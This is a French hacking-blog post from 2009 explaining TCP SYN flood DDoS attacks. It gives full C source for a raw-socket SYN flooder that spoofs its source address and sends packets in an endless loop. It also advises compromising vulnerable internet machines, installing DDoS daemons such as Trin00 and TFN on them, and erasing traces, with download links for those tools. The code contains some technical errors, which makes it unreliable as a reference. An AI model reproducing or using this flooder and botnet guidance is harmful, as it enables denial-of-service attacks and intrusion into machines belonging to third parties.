samedi 19 septembre 2009

DDos TCP/SYN flood

Sommaire:
*********

- introduction
- Théorie
- code source SYN flooder + compiler en #C sous UNIX
- conlusions

---------------
I Introduction
---------------

Tout d'abord je souhaite donner une petit précision sur le "pourquoi" de cet article. Bah tout d'abord, certains me diront que ca ne sert de toute façon à rien et que c'est plus un outil de destruction qu'autre chose. Mais mon but n'est pas de détruire mais d'étudier un code source en C donc ca pourrait s'averer déjà intéressant pour les programmeurs puisque celui-ci utilise les raw sockets, malheureusement c'est un code source NUX car je n'ai pas trouvé de doc qui traite sur les raw sockets sous Win, puis aussi d'expliquer comment cette attaque fonctionne, car nous sommes tous concernés. Nous pouvons la pratiquer mais aussi en être victime.

Bonne lecture les gens :]


--------------
II Théorie
--------------

Les attaques Ddos ont pour but précis de faire planter un système distant au point de le rendre hors services, il existe plusieurs types d'attaques flood: udp, icmp, tcp... etc mais celle dont nous allons parler est une attaque SYN flood(tcp) qui est la plus dévastatrice selon moi.

Comment fonctionne-elle?

Lorsqu'une machine reçoit un paquet SYN, elle renvoie vers l'émetteur un paquet avec les flags SYN/ACK. En attendant la réception du ACK de l'emetteur, qui permet l'établissement complet de la connexion, la connexion en attente est placée dans le stack TCP/IP du noyau de la machine. Comme l'adresse ip que nous avons mis dans l'entête de nos paquets est invalide ou inexistante la réponse n'arrivera jamais jusqu'à la victime. Si le paquet ACK n'arrive pas, au bout d'un certain temps, la connexion en attente est supprimée. Mais la taille du stack en question n'est pas infinie.

Conclusions: Un envoie simultané d'un grand nombres de paquets SYN vers une machine distante provoque un plantage de la connection voir même de la machine/server. Pourquoi? Celle-ci est saturée car le stack est plein.

Imaginons nous l'attaque en prenant un exemple :

Tout d'abord il nous faut des plates-formes sur la toile, afin de pouvoir à partir de celles-ci lancer les attaques vers notre victime. L'ampleur de l'attaque dépend de la bande passante des machines rootées. Le principe est de s'appuyer sur des machines sur la toile afin de disposer d'un maximum de ressources (bande passante). De nos jours tout le monde(ou presque) possède une connection haut débit, donc ca ne devrait pas être un grand obstacle. Plus de machines vous avez en root plus il y a de chances que l'attaque soit une réussite. Il n'est pas bien difficile de trouver des machines vulnérables sur la toile afin de les utiliser, avec un peu de volonté et de courage vous y arriverez.

Ayant l'accès root sur plusieurs machines nous allons y installer nos petits démons et tout ca sans se faire remarquer. J'entend par "sans se faire remarquer" qu'il faut bien évidement effacer toutes les traces qu'on laisse derrière soit. Pour plus d'informations je vous redirige vers un article que j'ai trouvé fort intéressant: http://www.ouah.org/cover1.htm

Le log que nous allons installer est un SYN flooder, livré avec un client(master) qui aura pour but d'envoyer une commande cryptée à tout les démons que vous avez déposer dans les machines rootées afin de lancer l'attaque. Je vous conseilles Trin00 ou Tfn qui sont de très bon outils pour ce type d'attaques. Plus loin je donnerais les liens pour les télécharger.

Donc imaginons nous déjà l'attaque à l'aide d'un shéma:

- nous avons une machine A qui est la votre
- les machines démons seront représentées par un D
- Puis la machine ciblée nous la désignerons par un V

Petit Shéma:


===|=====> |D|

| A | = = = > |D| === === >> | V

===|=====> |D|


Explications: [A] envoie à partir du client qui est mis à sa disposition une requête vers tous les démons qui lancera l'attaque. [D] reçoit la requête est commence à envoyer une masse de paquets SYN vers la cible. [V] ne pouvant pas gérer tout les paquets arrivant : plantage du server ou machine. (plus de détails dans l'introduction)

Le concept est assez simple :] Bon, je crois que vous avez compris comment ca fonctionne, passons maintenant à la partie programmation de l'article.


-----------------------------------------------------
III code source SYN flooder + compiler en #C sous UNIX
-----------------------------------------------------

Flooder SYN
***********

Code:
#define __USE_BSD /* utilise bsd'ish ip header */
#include /* Ces entetes sont pour un systeme Linux, mais*/
#include /* mais les noms sur les autres systemes sont faciles a deviner*/
#include
#define __FAVOR_BSD /* utilise bsd'ish tcp header */
#include
#include

#define P 25 /* Floodons le port sendmail */

unsigned short /* Cette fonction genere des controles sur les entetes*/
csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

int
main (void)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* Ouverture raw socket */
char datagram[4096];
/* Ce buffer contiendra l'entete IPn l'entete TCP et le contenu. Nous pointons une structured'entete IP a son commencement et une structure d'entete TCP apres cela pour ecrire la valeur de l'entete a l'interieur */

struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
struct sockaddr_in sin;
/* Le sockaddr_in contient l'adresse de destination. Il est utilise dans le sendto() pour determiner le chemin des datagrammes */

sin.sin_family = AF_INET;
sin.sin_port = htons (P); /* you byte-order >1byte header values to network
byte order (not needed on big endian machines) */
sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

memset (datagram, 0, 4096); /* zero out the buffer */

/*Nous remplissons maintenant les valeurs des entetes IP/TCP, voir en dessous pour les explications. */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* pas de contenu */
iph->ip_id = htonl (54321); /* La valeur n'a pas d'importance ici */
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; /* mettre la valeur a 0 avant de calculer la somme de controle actuelle */
iph->ip_src.s_addr = inet_addr ("1.2.3.4"); /* SYN peut etre spoofe */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (1234); /* port arbitraire */
tcph->th_dport = htons (P);
tcph->th_seq = random (); /* dans un paquet SYN , la sequence numerique est aleatoire*/
tcph->th_ack = 0; /* et la sequence ack est 0 dans le premier paquet */
tcph->th_x2 = 0;
tcph->th_off = 0; /* Premier et unique segment TCP */
tcph->th_flags = TH_SYN; /* Demande de connection initial */
tcph->th_win = htonl (65535); /* Taille maximum de la fenetre utillisee */
tcph->th_sum = 0; /* Si vous mettez le controle a 0, votre pile IP centrale se remplira correctement durant la transmission */
tcph->th_urp = 0;

iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* Finalement, il est recommande de faire un appel IP_HDRINCL, pour etre sure que le noyau sait que l'entete est incluse dans les donnees et non pas dans le paquet
avant celui des donnees */

{
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!\n");
}

while (1)
{
if (sendto (s, /* Notre socket */
datagram, /* le buffer contenant les entetes et les donnees */
iph->ip_len, /* taille totale de notre datagramme */
0, /* indicateur de routage, normalement toujours a 0 */
(struct sockaddr *) &sin, /* socket addr, comme dans un */
sizeof (sin)) < 0) /* send() normal */
printf ("error\n");
else
printf (".");
}

return 0;

}

Code compilé: http://membres.lycos.fr/iojuoouojuoujoojuo/

Bah voilà, pour tout ceux qui programment sous Nux ils ont bien de la chance, j'ai bien essayé de trouver de la documentation de qualité sur les raw sockets sous Win mais sans grand résultat. Donc voilà, ce qui explique que le code source soit nuxien :p, target0 m'a compilé le code sous Nux et je vous passe le lien ou vous pourrez trouvez le SYN flooder compiler avec l'extension ELF afin de le tester. Il flood en local sur le port 25 :] Donc évitez de cliquer dessus avant d'avoir édité le code source de celui-ci. :p

Voilà encore quelques codes sources que j'ai trouvé sur la toile, le premier est Trin00 idéal pour ce genre d'attaque

Trin00: http://membres.lycos.fr/iojuoouojuoujoojuo/

Tfn tout aussi bien

Tfn: http://membres.lycos.fr/iojuoouojuoujoojuo/

---------------
IV Conclusions
---------------

Ben voilà article terminé =) Maintenant si vous cherchez à pratiquez cette attaque c'est tout autre chose. Elle est mal vu par beaucoup de monde car il est évident que ce n'est pas une technique bien compliquer mais elle est très dévastatrice et très difficile à contrer. Tout dépend de l'ampleur de celle-ci. Malheureusement une douzaine de paquets SYN suffissent à faire planter un système (pc) pour les server c'est une autre histoire.

GrEeTz: Ic', BeRgA, Intox, kinkey',target0, Securityhack, Uk, Elbossoso, Soh... etc un grand salut à tout ceux que j'ai oublié.

Voilà quelques liens qui m'ont bien servit durant la rédaction de cet article :

http://madchat.org/coding/c/c.rezo/rawsckt/raw_sock-fr.txt >> raw sockets sous Unix
http://www.securiteinfo.com/attaques/hacking/dos.shtml >> article sur le DDos


Team Securityhack
_________________
Darkprox | Darky | Dark'

Source : http://www.thehackademy.net/modules/phpbb2/viewpage_677_dernier_message.htm

Aucun commentaire:

Enregistrer un commentaire